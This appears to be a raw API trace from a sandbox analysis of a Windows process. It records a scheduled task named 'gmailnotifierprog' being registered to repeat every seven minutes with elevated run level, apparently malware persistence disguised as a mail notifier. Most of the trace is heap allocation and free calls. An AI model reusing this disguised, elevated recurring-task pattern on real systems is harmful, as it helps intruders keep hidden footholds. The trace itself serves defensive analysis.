[0109.961] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a950) returned 1 [0109.961] GetProcessHeap () returned 0x1ed3df50000 [0109.961] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a950) returned 0xe [0109.961] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a950) returned 1 [0109.961] GetProcessHeap () returned 0x1ed3df50000 [0109.961] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x16) returned 0x1ed3df5aa10 [0109.961] GetLocalTime (in: lpSystemTime=0x1d6828c808 | out: lpSystemTime=0x1d6828c808*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x21, wMilliseconds=0x14b)) [0109.961] lstrlenW (lpString="") returned 0 [0109.961] GetLocalTime (in: lpSystemTime=0x1d6828d1f8 | out: lpSystemTime=0x1d6828d1f8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x21, wMilliseconds=0x14b)) [0109.961] lstrlenW (lpString="") returned 0 [0109.962] lstrlenW (lpString="") returned 0 [0109.962] lstrlenW (lpString="") returned 0 [0109.962] lstrlenW (lpString="") returned 0 [0109.962] lstrlenW (lpString="7") returned 1 [0109.962] _wtol (_String="7") returned 7 [0109.962] lstrlenW (lpString="") returned 0 [0109.962] lstrlenW (lpString="") returned 0 [0109.962] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0109.974] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0110.297] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1d6828cf50 | out: ppv=0x1d6828cf50*=0x1ed3e225710) returned 0x0 [0110.320] TaskScheduler:ITaskService:Connect (This=0x1ed3e225710, serverName=0x1d6828d040*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1d6828d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x1d6828cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1d6828cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0110.376] TaskScheduler:ITaskService:GetFolder (in: This=0x1ed3e225710, Path=0x0, ppFolder=0x1d6828d130 | out: ppFolder=0x1d6828d130*=0x1ed3e225890) returned 0x0 [0110.379] TaskScheduler:ITaskService:NewTask (in: This=0x1ed3e225710, flags=0x0, ppDefinition=0x1d6828d108 | out: ppDefinition=0x1d6828d108*=0x1ed3e225910) returned 0x0 [0110.380] ITaskDefinition:get_Actions (in: This=0x1ed3e225910, ppActions=0x1d6828d050 | out: ppActions=0x1d6828d050*=0x1ed3e2259a0) returned 0x0 [0110.380] IActionCollection:Create (in: This=0x1ed3e2259a0, Type=0, ppAction=0x1d6828d090 | out: ppAction=0x1d6828d090*=0x1ed3e225db0) returned 0x0 [0110.380] IUnknown:Release (This=0x1ed3e225db0) returned 0x1 [0110.380] IUnknown:Release (This=0x1ed3e2259a0) returned 0x1 [0110.380] ITaskDefinition:get_Triggers (in: This=0x1ed3e225910, ppTriggers=0x1d6828cc00 | out: ppTriggers=0x1d6828cc00*=0x1ed3e225c60) returned 0x0 [0110.380] ITriggerCollection:Create (in: This=0x1ed3e225c60, Type=1, ppTrigger=0x1d6828cbe8 | out: ppTrigger=0x1d6828cbe8*=0x1ed3e225e20) returned 0x0 [0110.380] lstrlenW (lpString="7") returned 1 [0110.381] _vsnwprintf (in: _Buffer=0x1d6828cb70, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1d6828cb68 | out: _Buffer="PT7M") returned 4 [0110.381] ITrigger:get_Repetition (in: This=0x1ed3e225e20, ppRepeat=0x1d6828cbe0 | out: ppRepeat=0x1d6828cbe0*=0x1ed3e225eb0) returned 0x0 [0110.381] IRepetitionPattern:put_Interval (This=0x1ed3e225eb0, Interval="PT7M") returned 0x0 [0110.381] IUnknown:Release (This=0x1ed3e225eb0) returned 0x1 [0110.381] _vsnwprintf (in: _Buffer=0x1d6828cb30, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1d6828cb08 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0110.381] ITrigger:put_StartBoundary (This=0x1ed3e225e20, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0110.381] lstrlenW (lpString="") returned 0 [0110.381] lstrlenW (lpString="") returned 0 [0110.381] lstrlenW (lpString="") returned 0 [0110.381] lstrlenW (lpString="") returned 0 [0110.381] IUnknown:Release (This=0x1ed3e225e20) returned 0x1 [0110.381] IUnknown:Release (This=0x1ed3e225c60) returned 0x1 [0110.381] ITaskDefinition:get_Settings (in: This=0x1ed3e225910, ppSettings=0x1d6828d090 | out: ppSettings=0x1d6828d090*=0x1ed3e225ae0) returned 0x0 [0110.382] lstrlenW (lpString="") returned 0 [0110.382] IUnknown:Release (This=0x1ed3e225ae0) returned 0x3 [0110.382] GetLocalTime (in: lpSystemTime=0x1d6828cf48 | out: lpSystemTime=0x1d6828cf48*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x21, wMilliseconds=0x2f1)) [0110.382] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0110.382] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1d6828cf60, nSize=0x1d6828cf38 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x1d6828cf38) returned 0x1 [0110.382] ITaskDefinition:get_RegistrationInfo (in: This=0x1ed3e225910, ppRegistrationInfo=0x1d6828cf30 | out: ppRegistrationInfo=0x1d6828cf30*=0x1ed3e225a20) returned 0x0 [0110.383] IRegistrationInfo:put_Author (This=0x1ed3e225a20, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0110.383] _vsnwprintf (in: _Buffer=0x1d6828cf60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1d6828cef8 | out: _Buffer="2023-09-19T17:15:33") returned 19 [0110.383] IRegistrationInfo:put_Date (This=0x1ed3e225a20, Date="2023-09-19T17:15:33") returned 0x0 [0110.383] IUnknown:Release (This=0x1ed3e225a20) returned 0x1 [0110.383] malloc (_Size=0x18) returned 0x1ed3e225f30 [0110.383] free (_Block=0x1ed3e225f30) [0110.383] lstrlenW (lpString="") returned 0 [0110.383] ITaskDefinition:get_Principal (in: This=0x1ed3e225910, ppPrincipal=0x1d6828d0f8 | out: ppPrincipal=0x1d6828d0f8*=0x1ed3e225cd0) returned 0x0 [0110.383] IPrincipal:put_RunLevel (This=0x1ed3e225cd0, RunLevel=1) returned 0x0 [0110.383] IUnknown:Release (This=0x1ed3e225cd0) returned 0x1 [0110.383] malloc (_Size=0x18) returned 0x1ed3e225f30 [0110.384] ITaskFolder:RegisterTaskDefinition (in: This=0x1ed3e225890, Path="gmailnotifierprog", pDefinition=0x1ed3e225910, flags=6, UserId=0x1d6828d1a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1d6828d180*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x1d6828d1c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1d6828d160 | out: ppTask=0x1d6828d160*=0x1ed3e226fd0) returned 0x0 [0111.172] free (_Block=0x1ed3e225f30) [0111.172] _memicmp (_Buf1=0x1ed3df54820, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0111.172] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1ed3df5bb50, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0111.172] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0111.172] GetProcessHeap () returned 0x1ed3df50000 [0111.172] GetProcessHeap () returned 0x1ed3df50000 [0111.172] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ac30) returned 1 [0111.172] GetProcessHeap () returned 0x1ed3df50000 [0111.173] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ac30) returned 0xc [0111.173] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ac30) returned 1 [0111.173] GetProcessHeap () returned 0x1ed3df50000 [0111.173] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x82) returned 0x1ed3df75a50 [0111.173] _vsnwprintf (in: _Buffer=0x1d6828d810, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1d6828d0a8 | out: _Buffer="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n") returned 79 [0111.173] __iob_func () returned 0x7ffa7941e210 [0111.173] _fileno (_File=0x7ffa7941e240) returned -2 [0111.173] _errno () returned 0x1ed3e220840 [0111.173] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0111.173] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0111.173] lstrlenW (lpString="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n") returned 79 [0111.173] GetConsoleOutputCP () returned 0x0 [0111.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0111.173] GetConsoleOutputCP () returned 0x0 [0111.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 79 [0111.173] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 79 [0111.174] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0111.174] IUnknown:Release (This=0x1ed3e226fd0) returned 0x0 [0111.174] TaskScheduler:IUnknown:Release (This=0x1ed3e225910) returned 0x0 [0111.174] TaskScheduler:IUnknown:Release (This=0x1ed3e225890) returned 0x0 [0111.174] TaskScheduler:IUnknown:Release (This=0x1ed3e225710) returned 0x0 [0111.174] lstrlenW (lpString="") returned 0 [0111.174] lstrlenW (lpString="7") returned 1 [0111.174] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0111.174] GetProcessHeap () returned 0x1ed3df50000 [0111.174] GetProcessHeap () returned 0x1ed3df50000 [0111.174] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ac90) returned 1 [0111.174] GetProcessHeap () returned 0x1ed3df50000 [0111.174] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ac90) returned 0x1fc [0111.175] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ac90) returned 1 [0111.175] GetProcessHeap () returned 0x1ed3df50000 [0111.175] GetProcessHeap () returned 0x1ed3df50000 [0111.175] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54ea0) returned 1 [0111.175] GetProcessHeap () returned 0x1ed3df50000 [0111.175] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54ea0) returned 0x4 [0111.175] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54ea0) returned 1 [0111.175] GetProcessHeap () returned 0x1ed3df50000 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ac50) returned 1 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ac50) returned 0x16 [0111.176] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ac50) returned 1 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5ab50) returned 1 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5ab50) returned 0x18 [0111.176] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5ab50) returned 1 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5bab0) returned 1 [0111.176] GetProcessHeap () returned 0x1ed3df50000 [0111.176] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5bab0) returned 0x20 [0111.177] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5bab0) returned 1 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53880) returned 1 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53880) returned 0xa0 [0111.177] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53880) returned 1 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54800) returned 1 [0111.177] GetProcessHeap () returned 0x1ed3df50000 [0111.177] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54800) returned 0x18 [0111.177] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54800) returned 1 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b8d0) returned 1 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b8d0) returned 0x20 [0111.178] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b8d0) returned 1 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df542e0) returned 1 [0111.178] GetProcessHeap () returned 0x1ed3df50000 [0111.178] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df542e0) returned 0x4a [0111.179] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df542e0) returned 1 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5abf0) returned 1 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5abf0) returned 0x18 [0111.179] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5abf0) returned 1 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5b420) returned 1 [0111.179] GetProcessHeap () returned 0x1ed3df50000 [0111.179] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5b420) returned 0x20 [0111.180] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5b420) returned 1 [0111.180] GetProcessHeap () returned 0x1ed3df50000 [0111.180] GetProcessHeap () returned 0x1ed3df50000 [0111.180] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53b50) returned 1 [0111.180] GetProcessHeap () returned 0x1ed3df50000 [0111.180] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53b50) returned 0x4c [0111.180] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53b50) returned 1 [0111.180] GetProcessHeap () returned 0x1ed3df50000 [0111.180] GetProcessHeap () returned 0x1ed3df50000 [0111.181] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5a9f0) returned 1 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5a9f0) returned 0x18 [0111.181] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5a9f0) returned 1 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58ee0) returned 1 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58ee0) returned 0x20 [0111.181] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58ee0) returned 1 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54360) returned 1 [0111.181] GetProcessHeap () returned 0x1ed3df50000 [0111.181] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54360) returned 0xe [0111.181] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54360) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54340) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54340) returned 0x18 [0111.182] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54340) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58eb0) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58eb0) returned 0x20 [0111.182] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58eb0) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59b20) returned 1 [0111.182] GetProcessHeap () returned 0x1ed3df50000 [0111.182] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59b20) returned 0x208 [0111.183] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59b20) returned 1 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df547e0) returned 1 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df547e0) returned 0x18 [0111.183] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df547e0) returned 1 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df590c0) returned 1 [0111.183] GetProcessHeap () returned 0x1ed3df50000 [0111.183] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df590c0) returned 0x20 [0111.184] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df590c0) returned 1 [0111.186] GetProcessHeap () returned 0x1ed3df50000 [0111.186] GetProcessHeap () returned 0x1ed3df50000 [0111.186] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df5bb50) returned 1 [0111.186] GetProcessHeap () returned 0x1ed3df50000 [0111.186] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df5bb50) returned 0x200 [0111.187] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df5bb50) returned 1 [0111.187] GetProcessHeap () returned 0x1ed3df50000 [0111.187] GetProcessHeap () returned 0x1ed3df50000 [0111.187] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54820) returned 1 [0111.187] GetProcessHeap () returned 0x1ed3df50000 [0111.187] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54820) returned 0x18 [0111.188] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54820) returned 1 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59090) returned 1 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59090) returned 0x20 [0111.188] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59090) returned 1 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53f60) returned 1 [0111.188] GetProcessHeap () returned 0x1ed3df50000 [0111.188] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53f60) returned 0x14 [0111.188] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53f60) returned 1 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53f40) returned 1 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53f40) returned 0x18 [0111.189] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53f40) returned 1 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df59150) returned 1 [0111.189] GetProcessHeap () returned 0x1ed3df50000 [0111.189] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df59150) returned 0x20 [0111.190] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df59150) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54270) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54270) returned 0x16 [0111.191] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54270) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df53f00) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df53f00) returned 0x18 [0111.191] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df53f00) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df58f70) returned 1 [0111.191] GetProcessHeap () returned 0x1ed3df50000 [0111.191] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df58f70) returned 0x20 [0111.192] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df58f70) returned 1 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54ee0) returned 1 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54ee0) returned 0x2 [0111.192] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54ee0) returned 1 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df543f0) returned 1 [0111.192] GetProcessHeap () returned 0x1ed3df50000 [0111.192] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df543f0) returned 0x20 [0111.193] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df543f0) returned 1 [0111.193] GetProcessHeap () returned 0x1ed3df50000 [0111.193] GetProcessHeap () returned 0x1ed3df50000 [0111.193] HeapValidate (hHeap=0x1ed3df50000, dwFlags=0x0, lpMem=0x1ed3df54440) returned 1 [0111.193] GetProcessHeap () returned 0x1ed3df50000 [0111.193] RtlSizeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, MemoryPointer=0x1ed3df54440) returned 0x20 [0111.194] RtlFreeHeap (HeapHandle=0x1ed3df50000, Flags=0x0, BaseAddress=0x1ed3df54440) returned 1 [0111.194] GetProcessHeap () returned 0x1ed3df50000 [0111.194] 